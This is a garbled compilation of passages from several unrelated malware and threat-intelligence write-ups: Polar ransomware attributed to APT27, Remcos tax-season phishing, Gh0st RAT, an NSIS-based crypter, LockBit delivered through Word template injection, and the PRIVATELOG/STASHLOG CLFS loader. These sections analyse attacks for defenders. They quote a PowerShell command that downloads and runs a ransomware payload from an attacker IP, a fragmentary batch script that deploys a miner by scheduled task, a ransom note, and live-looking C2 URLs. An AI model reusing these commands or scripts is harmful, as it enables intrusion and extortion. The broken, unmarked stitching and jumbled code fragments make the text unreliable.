It then looks for and stops the following processes: agntsvc.exe agntsvc.exe agntsvc.exe agntsvc.exe dbeng50.exe dbsnmp.exe encsvc.exe excel.exe firefoxconfig.exe infopath.exe isqlplussvc.exe msaccess.exe msftesql.exe mspub.exe mydesktopqos.exe mydesktopservice.exe mysqld-nt.exe mysqld-opt.exe mysqld.exe notepad++.exe notepad.exe ocautoupds.exe ocomm.exe ocssd.exe onenote.exe oracle.exe outlook.exe powerpnt.exe sqbcoreservice.exe sqlagent.exe sqlbrowser.exe sqlservr.exe sqlwriter.exe steam.exe synctime.exe tbirdconfig.exe thebat.exe thebat64.exe thunderbird.exe visio.exe winword.exe wordpad.exe xfssvccon.exe Then the malware gets a list of connected disks and starts recursive traversal of directories, skipping a few of them: C:\Windows C:\Program Files C:\Program Files (x86) C:\ProgramData C:\Python $SysReset $Recycle.


Bin $RECYCLE.BIN It cares only about files with the following extensions: .3dm .3ds .3g2 .3gp .7z .accdb .ai .aif


.asf .asp .aspx .avi .bak .bin .bmp


.c .cbr .cer .cfm .class .cpp .crdownload .cs .csr .css .csv .cue .dat .db


.deb


.dxf .eps .fla .flv


.h .html .ics .iff .indd .ini .iso .java .jpg


.m3u .m4a .m4v .max .mdb


.mdf


.mpg .msg .msi .obj .odt .pages .part .pct .pdb


.pkg .pl .png


.pps .ppt .pptx .ps .psd .py .rar .rm


.rpm .rss .rtf


.yuv .zip .zipx Before starting encryption, the malware creates what we will call a base encryption key consisting of eight randomly chosen characters from the following alphabet: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/ Two approaches to encryption are used, depending on the file size.


The base encryption key is used in both approaches, however.


The intermediate password is the SHA-256 hash sum of the base encryption key.


Each key is encrypted with AES-CBC.


Larger files are encrypted in a different way.


Blocks of 16 bytes are encrypted, with the next 12,800 bytes skipped.


Encrypted files have the .cryptd extension.


Note that the result is creation of a new file (where the encrypted stream is written).


The original file is insecurely deleted.


In each directory containing encrypted files, a file named readme_contact_alex.dali@iran.ir.htm is created with the following contents: Your companies cyber defense systems have been weighed, measured and have been found wanting!!!


The breach is a result of grave neglect of security protocols All of your computers have been corrupted with Polar malware that has encrypted your files.


We ensure that the only way to retrieve your data swiftly and securely is with our software.


Restoration of your data requires a private key which only we possess Don't waste your time and money purchasing third party software, without the private key they are useless.


It is critical that you don't restart or shutdown your computer.


This may lead to irreversible damage to your data and you may not be able to turn your computer back on.


To confirm that our software works email to us 2 files from random computers you will get them decrypted.


readme_contact_alex.dali@iran.ir.htm contain encrypted session keys we need in order to be able to decrypt your files.


The softwares price will include a guarantee that your company will never be inconvenienced by us.


Your personal installation key:*REDACTED* The text of the ransom demand resembles that used by MegaCortex ransomware.


The ransom demand contains a modified version of the base encryption key.


This version is derived by encrypting the base encryption key with RSA (with a hard-coded 1024-byte public key) and encoding it in Base64.


After file encryption is completed, the malware writes an image (contained in executable file resources) to disk at the path c:\programdata\Rs.bmp and sets it as the desktop background.


Then it sends an HTTP POST request with the name of the victim's computer to a server at hxxp://www.therockbrazil.com.br/assinaturas/logs.php.


How we decrypted the files Readers following the chain of encryption steps have likely noticed that the security of this whole encryption system depends on what we have called the base encryption key.


Its value is encrypted with RSA-1024 and placed in the ransom demand.


Remember that the base key is generated by taking eight random characters from the alphabet quoted earlier.


Here is how the implementation works: The Random function is called once, without any arguments.


This call returns a random number, the seed for pseudorandom generation of which is taken from the value of the Environment.


This variable is 4 bytes and stores the number of milliseconds since the operating system started.


So to decode the files, all we need to know is the uptime (how long the computer has been turned on) as of when the ransomware ran.


But how simple is it to calculate?


Due to this, the uptime of the computers could not be known.


But in this case, the ransomware destroys these logs twice.


So we were unable to find any clues pointing at possible values of uptime on the affected computers themselves.


Fortunately, however, SCCM was used on the client infrastructure, with client-side agents running on all the encrypted computers.


The information we needed was stored centrally and had not been tampered with: all we needed was some trial-and-error to choose the right values.


Now that we had relatively precise uptime values, we needed to determine when the ransomware had run.


Remember that at the end, the malware deletes the intermediate DLL library and encrypted ransomware, but not the legitimate executable file whose process is used for performing the malicious actions.


In other words, the time at which this file appeared on the system should be the approximate time when the ransomware ran, to within several seconds.


We could then decrypt the remaining files.


In a few cases, we had a tougher time bruteforcing the key at first.


The reason was that the timezones had been set incorrectly.


With this realization, we were able to conquer this issue as well.


Attribution We mentioned the SysUpdate and HyperBro backdoors from the attackers' toolkit.


These are somewhat esoteric Remote Access Trojans used by the APT27 group (also known as Bronze Union, LuckyMouse, Emissary Panda, or Iron Tiger).


The group focuses its attention on government targets in the defense and energy industries, as well as aerospace and manufacturing.


Most commonly, the original attack vector is a compromise of the victim's web servers by exploiting vulnerabilities, bruteforcing credentials, or taking advantage of web server misconfigurations.


Despite the similarities in tactics, techniques, and procedures (TTPs) and use of a telltale toolkit, some of the team's researchers are skeptical about attribution of the attacks to APT27.


Choice of target Media companies had never been of interest for APT27.


This is consistent with the findings of our incident investigation: the attackers did not try to access private information on the target infrastructure, instead only running software for direct financial gain.


Cryptocurrency mining and ransomware


This is atypical and, moreover, ill-suited software that can quickly attract attention and wreck any plans for long-term cyberspying.


The URL address to which the ransomware "phones home" upon completing its work does not have anything in common with APT27 network infrastructure.


Of course, some groups (such as Lazarus and Winnti) combine cyberspying with direct financial motivations, so perhaps APT27 is broadening its previously limited range of interests.


Or, as an alternative, the group has reached an agreement with other attackers for use of their software in return for a part of the proceeds.


In favor of attribution of Polar to APT27, we can note the sequence of payload, execution, and naming: the encrypted SysUpdate backdoor is often named sys.bin.url and the Polar ransomware was named Sysurl.


Hex, in a rather similar way.


3. Automation in 2018 and 2020 Here is the script used to automatically install a cryptocurrency miner on a list of computers in 2018: @echo off for /f


i /u


*\administrator /p "*" /tn


* /tr "cmd.exe /c start c:\windows\system32\vmnat.exe" /sc


onstart /RU SYSTEM schtasks /run


*\administrator /p "*" /tn * net use \\%%i\c$ /del net use * /del /Y ) del vmnat.exe del list.txt del work.bat


%%i in (c:\programdata\list.txt) do ( net use \\%%i\c$ "*" /u:*\* if not errorlevel 1 ( del \\%%i\c$\programdata\GameuxInstallHelper.dll del \\%%i\c$\programdata\GDFInstall.exe del \\%%i\c$\programdata\Sysurl.


i >>


The scripts show certain similarities in structure and have the same loop of file lines at the same path.


On the other hand, the indentation, script tasks, and file naming are different.


Bodies of the SysUpdate and HyperBro backdoors We were not able in some cases to confirm the presence of a given backdoor based on the body of the Trojan itself.


We identified the HyperBro backdoor, which had been used in 2018, based on the distinctive file name combined with other confirmed tools.


We confirmed the SysUpdate backdoor, used in 2020, by looking at the C2 address and backdoor body in the process dump memory that had been uploaded to VirusTotal during investigation from an organization not linked to our client.


Therefore we leave it to the reader to choose whether to concur regarding involvement by APT27. Conclusion In this article, we have described an APT27 attack on a media company.


The cybercriminals obtained access to the company's headquarters by compromising an office in a foreign country.


They maintained control of the infrastructure for two years.


They used both publicly available and custom-developed tools that had been seen previously.


Perhaps the compromise of this client was an accident and this was merely an attempt to obtain at least some benefit.


User data was encrypted, after which a ransom demand was made.


To our knowledge, the attackers did not obtain access to information of any value whatsoever, ultimately leaving them with nothing to show for their efforts.


Authors: Denis Goydenko and Alexey Vishnyakov, Positive Technologies MITRE TTPs Tactic ID Name Initial Access T1190 Exploit Public-Facing Application T1199 Trusted Relationship Execution T1059 Command and Scripting Interpreter:


Windows Command Shell T1053 Scheduled Task/Job: Scheduled Task T1047 Windows Management Instrumentation Persistence T1547 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1574 Hijack Execution Flow: DLL Search Order Hijacking T1053 Scheduled Task/Job: Scheduled Task T1078 Valid Accounts: Domain Accounts T1078 Valid Accounts: Default Accounts Privilege Escalation T1068 Exploitation for Privilege Escalation Defense Evasion T1140 Deobfuscate/Decode Files or Information T1070 Indicator Removal on Host: Clear Windows Event Logs T1070 Indicator Removal on Host: File Deletion T1070 Indicator Removal on Host: Timestomp Credential Access T1003 OS Credential Dumping: LSASS Memory Discovery T1087 Account Discovery: Domain Account T1082 System Information Discovery T1049 System Network Connections Discovery Lateral Movement T1210 Exploitation of Remote Services T1570 Lateral Tool Transfer T1021 Remote Services: SMB/Windows Admin Shares Collection T1560 Archive Collected Data: Archive via Utility T1005 Data from Local System T1119 Automated Collection T1039 Data from Network Shared Drive Command and Control T1071 Application Layer Protocol: Web Protocols T1132 Data Encoding: Standard Encoding T1573 Encrypted Channel:


8c80dd97c37525927c1e549cb59bcbf3 frsocks: da0c13d834cafc010bec1afa2d76196ced71e661 Mimikatz: 449da3d7405c2c79fa55bd7973096e28 0078ff05c20689f40ea9cb8c47fcfb2e52cdc3a9 BitMiner: 5430039162e58c44f9a5941295b55fba Polar:


Threat actors often take advantage of current events and major news headlines to align attacks and leverage social engineering when people could be more likely to be distracted or misled.

Threat actors strive to cause Tax Day headaches


Tax season is particularly appealing to threat actors because not only are people busy and under stress, but it is intrinsically tied to financial information.


Remcos, which stands for “Remote Control and Surveillance”, is a closed-source tool that allows threat actors to gain administrator privileges on Windows systems remotely.


It was released in 2016 by BreakingSecurity, a European company that markets Remcos and other offensive security tools as legitimate software.


In 2021, CISA listed Remcos among its top malware strains, citing its use in mass phishing attacks using COVID-19 pandemic themes targeting businesses and individuals.


While social engineering lures like this one are common around Tax Day and other big topic current events, these campaigns are specific and targeted in a way that is uncommon.


The targets for this threat are exclusively organizations that deal with tax preparation, financial services, CPA and accounting firms, and professional service firms dealing in bookkeeping and tax.


This campaign can be detected in Microsoft Defender Antivirus, built into Windows and on by default, as well as Microsoft 365 Defender.


The campaign uses lures masquerading as tax documentation sent by a client, while the link in the email uses a legitimate click-tracking service to evade detection.


The target is then redirected to a legitimate file hosting site, where the actor has uploaded Windows shortcut (.LNK) files.


Remcos malware phishing lure These LNK files generate web requests to actor-controlled domains and/or IP addresses to download malicious files.


These malicious files then perform actions on the target device and download the Remcos payload, providing the actor potential access to the target device and network.


Microsoft is sharing this information along with detections and recommendations with the community to help users and defenders stay vigilant against this campaign with Tax Day approaching in the U.S. on April 18.


Microsoft 365 Defender and Microsoft Defender Antivirus detect and block Remcos and other malicious activity related to this campaign.


The initial link then redirects the target to a ZIP file hosted on legitimate file-sharing service spaces[.]hightail[.]com.


The LNK files make web requests to actor-controlled domains and IP addresses to download additional malicious files such as MSI files containing DLLs or executables, VBScript files containing PowerShell commands, or deceptive PDFs.


GuLoader is a malicious downloader that has been used by many different actors to deliver a wide variety of malware, including several RATs such as Remcos, through phishing campaigns since it was first observed in the wild in December 2019.


The downloader uses several techniques to evade analysis and detection such as using legitimate file-sharing sites and cloud hosting services for payload storage and delivery as well as encryption and obfuscation of the GuLoader shellcode and payloads.


Recommendations and detections Microsoft recommends the following mitigations to reduce the impact of this threat: Block JavaScript or VBScript from launching downloaded executable content Block executable files from running unless they meet a prevalence, age, or trusted list criterion Enable Microsoft Defender Antivirus scanning of downloaded files and attachments Enable Microsoft Defender Antivirus real-time behavior monitoring Enable cloud-delivered protection Detection details Microsoft Defender for Office 365 Microsoft Defender for Office 365 detects phishing emails associated with the campaign discussed in this blog.


Microsoft Defender Antivirus Microsoft Defender Antivirus, on by default on Windows machines, detects threat components as the following malware: Backdoor:Win32/Remcos.


GA!MTB Microsoft Defender for Endpoint Alerts with the following titles in the security center can indicate threat activity on your network: ‘Remcos’ backdoor Suspicious ‘Remcos’ behavior ‘Remcos’ malware ‘Guloader’ malware Microsoft Sentinel Microsoft Sentinel customers can use the TI Mapping analytic (a series of analytics all prefixed with “TI map”) to automatically match the indicators mentioned in this blog post with data in their workspace.


Found in Environments Protected by: ProofpointBy Nathaniel Raymond, Cofense IntelligenceGh0st RAT, a decades-old open-source remote administration tool (RAT), recently appeared in phishing campaigns targeting a healthcare organization.

OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release


Gh0st RAT’s long life, Chinese nation-state threat actors have used it to breach high-value targets such as governments, embassies, economic targets, and media.


Indicators of CompromiseFiles1680478346389.zipMD5: 9e6c45b6b8b20bf3c5959dbba8f27117LiveUpdate360.datMD5: f149d3f3ef0361ebe4d346811f29b527LiveUpdate.exeMD5: 96e4b47a136910d6f588b40d872e7f9dsetting.iniMD5: 91aab4bbe634be62d11d132738c23a82SqlVersion9.dllMD5: 317f9ff06c076e87e5b1d11242396d5fú¿╡τ-╫╙-╖ó-╞▒ú⌐.exeMD5: 4723a2a8f68c1eaf82809cff29b8e56fURLshxxps://api[.]youkesdt[.]asia/admin/down/hash/79b7c6ed-c4d8-4b36-b1cd-f968e6570010hxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/SqlVersion9[.]dllhxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/Media[.]xmlhxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/LiveUpdate360[.]dathxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/LiveUpdate[.]exehxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/223[.]114[.]txtCommand and Controlhxxp://61[.]160[.]223[.]114:18076All third-party trademarks referenced by Cofense whether in logo form, name form or product form, or otherwise, remain the property of their respective holders, and use of these trademarks in no way indicates any relationship between Cofense and the holders of the trademarks.


The Cofense® and PhishMe® names and logos, as well as any other Cofense product or service names or logos displayed on this blog are registered trademarks or trademarks of Cofense Inc.


The post Open-Source Gh0st RAT Still Haunting Inboxes 15 Years After Release appeared first on Cofense.


This blog post was authored by hasherezade NSIS (Nullsoft Scriptable Install System) is a framework dedicated to creating software installers.


It allows to bundle various elements of an application together (i.e. the main executable, used DLLs, configs), along with a script that controls where are they going to be extracted, and what their execution order is.


Unfortunately, its qualities are known not only to legitimate developers but also to malware distributors.


For several years we have been observing malware distributed via NSIS-based crypters.


The flexibility of the installer allows to implement various ideas for obfuscating malicious elements.


Samples This analysis is based on the following samples: 8F80426CEC76E7C9573A9C58072399AF carrying a Formbook sample: 05dc8c8d912a58a5dde38859e741b2c098061CCF694005A78FCF0FBC8810D137carrying a Formbook sample: f34bd301f4f4d53e2d069b4842bca672 Inside Like every NSIS-based installer, this executable is an archive that can be unpacked with the help of 7zip.


The older versions of 7zip (i.e.15.05) were also able to extract the NSIS script:


[NSIS].nsi.


Unfortunately, in the newer releases script extraction is no longer supported.


Once we unpack the file, we can see several elements, as well as directories typical for NSIS:


The System.dll is a DLL typical for any NSIS installer, responsible for executing the commands from the script.


It is the first component of the archive to be loaded.


We can find it in each of the samples.


What is more interesting are the files in the main directory.


The first one, 1 KB in size, is a shellcode.


It starts from bytes: 0x55, 0x8B, 0xEC, 0x81, 0xEC Analogous shellcode can be found in the second sample from this campaign.


In the same directory there are two other files.


One of them is around 7 KB, and the next: much bigger.


Both of them are encrypted, and to find out what they contain we need to analyze the full chain of loading.


Looking inside the NSIS script we can see the performed actions that are very simple: Function .onInit InitPluginsDir SetOutPath


" System::Call ::$0() Call func_80


[...] The first file of the set (containing the shellcode) is read into the executable memory.


Then, the loaded module is just called.


Shellcode #1 – functionality If we load those shellcodes into IDA we can see their functionality very clearly, as they are not obfuscated.


Shellcode from sample #1: Shellcode from sample #2 Although the code is a bit different in both, they can be divided with the same steps and building blocks.


Functions are always the same – dedicated to reading the file from the disk: CreateFileW, GetTempPathW, lstrcatW, ReadFile, VirtualAlloc, GetTempPathW.The function GetTempPathW is used to retrieve the path to the %TEMP% directory, where all the components from the archive were automatically extracted at runtime of the NSIS fileThe name of the next file is concatenated to the the %TEMP% pathMemory is allocated for the file content, and the file is read into this bufferA custom decryption algorithm is being applied on the buffer (the algorithm is different for different samples).


The buffer turns out to be a next shellcodeFinally, the next shellcode is executed The name of the next file is loaded as a stack-based wide string The hashing function used for import resolving follows the same pattern in both cases, yet the constant used to initialize it (denoted as HASH_INIT) is different across the samples.


int __


stdcall


*name) { int next_chunk; int hash; for ( hash = HASH_INIT; ; hash = next_chunk + 33 * hash ) { next_chunk = *name++; if ( !next_chunk ) break; } return hash; } view raw nsis_calc_hash.cpp hosted with :red_heart: by GitHub The algorithm used for the buffer decryption differs across the samples.


The second shellcode revealed after the unpacking algorithm finished processing Shellcode #2 – functionality This shellcode is used for decrypting and loading the final payload (PE file) from the third of the encrypted files.


It is unpacked and ran by the previous layer.


In the analyzed cases, this element was around 7-8 KB.


This shellcode is similarly structured as the previous one.


It starts by preparation of the strings: stack-based strings are being pushed.


One of them is the name of the next file that is going to be loaded.


Also, the key that will be used for the decryption is prepared.


The next step is loading of the imported functions.


The decryption function is custom, similar (but not identical) to RC4: void __stdcall decrypt_buf(BYTE *data, BYTE *key, unsigned int size) { BYTE key_stream[512]; int j; char next;


int i; int v6 = 0; int v4 = 0; for ( i = 0;


This algorithm is common to both analyzed samples – yet the decryption key differs.


Loading PE After the PE is decrypted, the function for its loading is deployed.


The payload is implanted into a newly created suspended process (a new instance of the current executable) using one of the most popular techniques of PE injection: Process Hollowing (a.k.a. RunPE).


The content of the payload is mapped into the new process using low level APIs: NtCreateSection, NtMapViewOfSection.


Then, the Entry Point is redirected to the new executable via SetThreadContext, and finally the execution is resumed with NtResumeThread.


The authors used several common techniques to obfuscate this process.


As before, the used functions are loaded by their checksums.


The PE loading function makes a use of the following set: The low-level functions, directly related with performing the injection, are called via raw syscalls retrieved directly from NTDLL.


Also in this case, functions has been resolved by their hashes.


List of used functions (with corresponding hashes).


e0ddd5cb : NtMapViewOfSection 20b0f111 : NtResumeThread 81af6d4e : NtUnmapViewOfSection be530033 : NtWriteVirtualMemory The code used to resolve the hashes is available here: hash_resolver.cpp.


In order to make the injection stealthier, the loader uses a common technique of “stealing syscalls”, also known as “hell’s gate”.


This technique is based on the fact that some low-level DLLs, such as NTDLL, contain numbers of raw syscalls.


By extracting the syscalls, and executing them manually, the malware can use the API of the operating system, without a need of calling functions from the DLL.


Firstly, a fresh copy of NTDLL is loaded from the file on the disk, an manually mapped.


The syscall ID is returned for further use.


However, a 32-bit application cannot make direct syscalls on 64-bit system, since it is not native.


In such cases, syscalls are usually made via Wow64 emulation layer.


In order to make them directly, the authors of the malware switch to the 64-bit mode first: using a technique called “Heaven’s Gate”.


Far return to the address prefixed with 0x33 segment – entering the 64-bit mode Once the execution mode is changed into 64 bit, the syscall is called, its results stored, and the application can switch back to 32-bit mode to continue normal execution.


In this part of the analysis we will compare it with the earlier version from February of this year, described in the following writeup.


In contrast to the current one, the version from February contained a malicious component in the form of a DLL.


We can also find a second, encrypted component, which carries the payload.


$INSTDIR File $INSTDIR\o15bmldpqdxcin.dll File $INSTDIR\emvmcmzr.n System::Call $INSTDIR\o15bmldpqdxcin.dll::Gxkeoxkzs(w$\"$INSTDIR\emvmcmzr.n$\") DetailPrint label StrCpy $0 9 IntOp $0 $0 + 4 Goto $0 DetailPrint done FunctionEnd In this case, the standard NSIS component (System.dll) is used to call the function exported from the DLL, passing the path to the encrypted component as a parameter.


Looking inside the exported function we can find a significant similarity to the Shellcode #1 which was described in the former part of this writeup.


This time, the next stage is contained in a buffer hardcoded in the DLL (rather than stored in a separate file).


It contains a very similar function dedicated to decrypting and loading the final payload.


Yet, we can see some minor differences.


Their names are hashed, and compared to the hardcoded list of hashes (i.e. 0x26090612 -> “avgui.exe”).


This type of checks are among common evasion techniques.


Possibly it is a bug in the implementation, and the if statement was intended to be a while loop instead.


Apart from those details, this stage is identical to the Shellcode #2 from the newer version.


This packer has been around for many years, and probably will stay with us for some years to come.


Usage of a popular installation engine makes it easy to blend in with legitimate applications.


Appendix Other materials about previous versions of NSIS-based crypters: https://yoroi.company/research/yes-cyber-adversaries-are-still-using-formbook-in-2021/https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/https://news.sophos.com/en-us/2020/05/14/raticate/https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-families-use-nsis-installers-to-avoid-detection-analysis/https://www.microsoft.com/security/blog/2017/03/15/ransomware-operators-are-hiding-malware-deeper-in-installer-packages/https://isc.sans.edu/forums/diary/Quick+analysis+of+malware+created+with+NSIS/23703/ The post Revisiting the NSIS-based crypter appeared first on Malwarebytes Labs.


These tactics include distributing phishing emails containing malicious files, utilizing drive-by downloads, and exploiting vulnerabilities in the remote desktop protocol (RDP).


As a result, LockBit has established itself as a prominent and active threat actor in the realm of ransomware.


The LockBit ransomware group utilizes a double extortion technique to enhance their likelihood of obtaining ransom payments from victims.


This technique encompasses multiple stages, including data encryption to render victim data inaccessible and threats to release stolen data on designated leak sites.


By employing this approach, the group aims to exert significant pressure on victims, compelling them to comply with their demands and pay the ransom.


Notably, the group utilized the same template injection techniques to deliver their payload.


Figure 1 – Lockbit’s Delivery Mechanism Technical Analysis For analysis purposes, we have taken a specific sample (sha256: 7391bbd59330e79f8ee4a01e5ed20df5ab183737f2b91f926b649facd8d2d278) which is a .docx file commonly known as Office Open XML (OOXML).


OOXML files are essentially packaged ZIP archives that consist of multiple XML files called parts.


These parts contain various properties that collectively determine the document’s display and processing.


Within these parts, certain properties may reference shared public resources accessible through online URLs.


It is also observed that the original filenames of the identified .docx samples were written in the Korean language.


The below image shows the malicious document.


Figure 2 – malicious document Upon opening the malicious document, it attempts to establish a connection with the remote server to retrieve the subsequent component of the attack.


This process involves multiple stages of execution.


This enables the document to fetch the .dotm file from the remote server required for further actions.


This technique employed by the attackers aligns with CVE-2017-0199.


Figure 3 – Extracted content of docx file The below figure displays the contents of the settings.xml.rels file, highlighting the inclusion of a malicious URL and the presence of the Target mode within the settings.xml.rels file.


Figure 4 – settings.xml.rels file content Once a successful connection to the remote server is established, a malicious template file is downloaded and executed.


The downloaded template file contains an obfuscated VBA macro.


TAs have opted for this technique due to its ability to bypass detection mechanisms.


Figure 5 – De-obfuscated macro content The VBA script incorporates a PowerShell command mentioned below to trigger the retrieval of the final stage payload, which is an executable file named “tinytask.exe” from the remote server.


“cmd /c powershell/W 01 curl hxxp://91[.]107[.]210[.]207/tinytask.exe -o C:\Users\Public\456trytgre3e45yrthtgr.exe; C:\Users\Public\456trytgre3e45yrthtgr.exe” The downloaded payload is Lockbit ransomware 2.0.


These actions include encrypting files with .lockbit extension, modifying Windows automatic backups by deleting shadow copies using vssadmin.exe, disabling startup repairs using the bcdedit tool, and more.


The below figure shows the encrypted files with the .lockbit extension.


Figure 6 – Encrypted files & Extensions Additionally, the ransomware leaves a ransom note that provides detailed instructions for making the required payment, as shown in the below figure.


Figure 7 – Lockbit’s Ransom note We recommend referring to our previous blog post to comprehensively examine LockBit 2.0 and Lockbit 3.0 ransomware.


This shift in behavior has caught us off guard, making it difficult to predict the motives behind this change.


Therefore, users must remain vigilant and adopt robust security measures to protect against potential Lockbit ransomware attacks.


Cyble Research & Intelligence Labs continuously monitor ransomware campaigns and will keep updating our readers with the latest information.


We recommend that our readers follow the best practices given below: Safety Measures Needed to Prevent Ransomware Attacks Conduct regular backup practices and keep those backups offline or in a separate network.


Users Should Take the Following Steps After the Ransomware Attack Detach infected devices on the same network.


Disconnect external storage devices if connected.


Inspect system logs for suspicious events.


Impact of Ransomware Loss of Valuable data.


Loss of the organization’s reputation and integrity.


Loss of the organization’s sensitive business information.


MITRE ATT&CK:registered: Techniques Tactic Technique ID Technique Name ExecutionT1059 T1204Command and Scripting Interpreter User ExecutionDiscoveryT1082 T1083System Information Discovery File and Directory DiscoveryDefense EvasionT1070Delete shadow drive dataImpactT1486 T1490 Data encrypted for impact Inhibit System RecoveryCommand and controlT1071Application Layer ProtocolIndicators of Compromise (IOCs)


Indicators Indicator Type Description 7391bbd59330e79f8ee4a01e5ed20df5ab183737f2b91f926b649facd8d2d278 462e39e554bd3abb9ecdcec92d861b315f1efb77 2831b37cf521848142e8a5d69515b065Sha256 Sha1 Md5Malicious docx filed833c23bad7b1988832524bce8a6355c97d031bb3852f671e52fdf9024bd6ec0 32a155dbb9652dd88ae41044e342c1ef92f7e6f2 5e7b650a6e0070bceed648681bff20feSha256 Sha1 Md5Malicious docx file78db865edcf1bcd27b765c458ef1675233b11947dfceef7c45fdd254ae514a3f 2a6df9fa510af4d3e7fde1002ad54c5576abbc07 9a1cac28f716d2e660f2bd6297cd560bSha256 Sha1 Md5 Malicious .dotm file8022060ef633e157518037122a6003813cc0a3066d456a1164275a211efc8f5c 32a155dbb9652dd88ae41044e342c1ef92f7e6f2 5e7b650a6e0070bceed648681bff20fe Sha256 Sha1 Md5 Lockbit ransomwarehxxp://91[.]107[.]210[.]207/tinytask[.]exe hxxp://91[.]107[.]210[.]207/b66ssc[.]dotmURLS


The Mandiant Advanced Practices team recently discovered a new malware family we have named PRIVATELOG and its installer, STASHLOG.

Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth


In this post, we will share a novel and especially interesting technique the samples use to hide data, along with detailed analysis of both files that was performed with the support of FLARE analysts.


Mandiant has yet to observe PRIVATELOG or STASHLOG in any customer environments or to recover any second-stage payloads launched by PRIVATELOG.


This may indicate malware that is still in development, the work of a researcher, or targeted activity.


CLFS and Transaction Files PRIVATELOG and STASHLOG rely on the Common Log File System (CLFS) to hide a second stage payload in registry transaction files.


CLFS is a log framework that was introduced by Microsoft in Windows Vista and Windows Server 2003 R2 for high performance.


It provides applications with API functions—available in clfsw32.dll—to create, store and read log data.


This is similar in nature to malware which may rely, for example, on the Windows Registry or NTFS Extended Attributes to hide their data, which also provide locations to store and retrieve binary data with the Windows API.


In Microsoft Windows, CLFS is notably used by the Kernel Transaction Manager (KTM) for both Transactional NTFS (TxF) and Transactional Registry (TxR) operations.


These allow applications to perform a number of changes on the filesystem or registry, all grouped in a single transaction that can be committed or rolled back.


Registry transactions are stored in dedicated files with the following naming scheme: <hive><GUID>.TMContainer<number>.regtrans-ms or <hive><GUID>.TxR.<number>.regtrans-ms.


These are CLFS containers that are referenced in a master .blf


file that only contains metadata and can be found in various locations including user profile directories.


The CLFS master and container file formats are mostly undocumented; however, previous research is available on GitHub.


Figure 1: Sample string deobfuscation for "PrintNotify" Interestingly, some of the deobfuscated strings from the installer are used for logging error messages and have spelling errors or typos such as: Log index=%d, data border exceed bounday.\n Interal data hash mismatch.\n Log buffer size=%u too small, expect aleast %u bytes.\n Introducing STASHLOG In addition to containing obfuscated strings, the installer’s code is protected using various control flow obfuscation techniques that make static analysis cumbersome.


Figure 2 is a graph overview of the installer’s main() function demonstrating the effects of the control flow obfuscation.


Figure 2: Graph view of main() STASHLOG has two different modes of operation: Without any arguments, during which it will prepare the environment With a single argument, which is a file that should be hidden in a CLFS file Preparing the Environment Executed without arguments, the installer prints two values to the console: The GUID returned from the registry value of HKLM\SOFTWARE\Microsoft\Cryptography\MachineGUID A 56-byte value derived from a randomly generated GUID with CoCreateGUID() Figure 3: Sample console output The 56-byte value is a concatenation of the random GUID, its SHA1 hash, and the SHA1 hash of the previous values.


So: GUID+sha1(GUID)+sha1(GUID+sha1(GUID)).


The randomly generated GUID is stored as a string in the GlobalAtom table, prefixed with win::.


Stashing the Payload When launched with an argument, the installer opens and decrypts the contents of the file passed as an argument.


It verifies that the file is suffixed by its SHA1 hash, and then generates the same 56-byte value using the stored GlobalAtom GUID string in memory.


The 56-byte value is SHA1 hashed again and the first 16-bytes form the initialization vector (IV), while the key is the 16-byte MachineGUID value from the host’s registry.


The number of blocks, specified at offset 16, must be between 2 and 5.


The malware also checks that the operating system version is within a lower and upper boundary and that the SHA1 hash of the decrypted data matches the payload header value at offset 20.


Following the payload header, the malware expects blocks of encrypted data with 8-byte headers.


Each block header has the following structure: struct blockHeader { DWORD magic; DWORD blockSize; } Once the malware has checked and validated the structure of the payload, it searches for .blf files in the default user’s profile directory and uses the .blf file with the oldest creation date timestamp.


In practice, the malware should typically find the file used for registry transaction logs: C:\Users\Default\NTUSER.DAT<GUID>.TM.blf If a matching .blf file is indeed found, it is opened with the CreateLogFile() API from clfsw32.dll.


This function opens CLFS logs and expects a file name in the following format, without the .blf extension: log:<LogName>[::<LogStreamName>] The log file is reset using the CloseAndResetLogFile() function and will be opened again to insert the data.


Before inserting data into the CLFS log file, the malware decrypts each block using HC-128.


Each block is then re-encrypted with the new key material as follows: The encryption key is the 16-byte GUID from GetVolumeNameForVolumeMountPointW().


The payload header is written to the log file as the first entry, followed by separate entries for each block.


The data is effectively stored in the first container file for the registry transaction log: C:\Users\Default\NTUSER.DAT<GUID>.TMContainer00000000000000000001.regtrans-ms.


It contains exports, which mimic those of legitimate prntvpt.dll files, although the exports have no functionality.


PRIVATELOG expects to be loaded from PrintConfig.dll, which is the main DLL of a service named PrintNotify, via DLL search order hijacking.


The malicious code is executed at the DLL’s entry point.


It starts by verifying the command-line arguments of the process it is running in and expects to be running under svchost.exe -k print.


This function is patched using Microsoft Detours—a publicly available library used for instrumenting Win32 functions—so that the execution flow appears to happen in the legitimate service DLL.


The patched ServiceMain function is where PRIVATELOG executes most of its functionality.


Similarly to STASHLOG, PRIVATELOG starts by enumerating *.blf files in the default user’s profile directory and uses the .blf file with the oldest creation date timestamp.


The malware expects to find specific entries which match our analysis of the installer.


PRIVATELOG expects the first log entry to have the following format:


A size greater than 40 (payload header size)


This value equals the size of the payload which will be decrypted.


Once the expected log entry is found, its contents are decrypted using the HC-128 encryption algorithm.


The decryption key and IV are generated using the same unique host properties that were used by STASHLOG.


It is worth noting that PRIVATELOG only decrypts the first matching block and that at least 2 to 5 blocks are expected to be inserted by STASHLOG.


The injection process is similar to Phantom DLL hollowing and is described as follows: Open a transacted handle to a copied file via the API CreateFileTransactedA()


In the sample analyzed by Mandiant, the file used for the transaction is a copy of the legitimate binary C:\Windows\System32\dbghelp.dll, which is copied to C:\Windows\system32\WindowsPowerShell\v1.0\dbghelp.dll.


Overwrite the transacted file with the decrypted payload contents Create a section backed by the transacted file with SEC_IMAGE attributes via the API NtCreateSection() Map a view of the newly created section This implicitly loads the transacted file data to some degree.


Rules to detect CLFS containers matching PRIVATELOG structures or containing encrypted data are also provided.


